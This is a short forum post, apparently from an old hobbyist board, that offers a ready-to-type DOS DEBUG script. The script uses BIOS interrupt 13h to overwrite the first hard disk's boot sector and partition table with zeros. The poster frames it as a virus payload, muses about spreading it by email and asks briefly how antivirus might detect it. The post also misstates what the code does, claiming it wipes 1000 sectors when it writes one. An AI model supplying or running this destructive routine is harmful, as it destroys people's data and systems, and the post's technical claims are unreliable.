possibly the world's deadliest virus
I want to post this simple and small debug script.
A:\>debug <enter>
-F 200 L1000 0 <enter>
-A CS:100 <enter>
xxxx:0100 MOV AX,301 <enter>
xxxx:0103 MOV BX,200 <enter>
xxxx:0106 MOV CX,1 <enter>
xxxx:0109 MOV DX,80 <enter>
(80 for hd 0 or 81 for hd 1 )
xxxx:010C INT 13 <enter>
xxxx:010E INT 20 <enter>
xxxx:0110 <enter>
-g <enter>
Program terminated normally
-q<enter>
this code invokes bios int13h to wipe out the first 1000 sectors on a hard drive....where the partion table info resides. This will wipe a hard drive clean. Now imagine using this code as a virus payload. There are of course some limitations to the effectivness of this potential virus....but it all the conditions are right this will wipe your hardrive CLEAN. I wonder if someone will figure out a way to encapsulate this payload in with email transport code. The way to block would be to have the Antivirus prog detect an unauthorised int13h invocation....any ideas anyone..could it be done?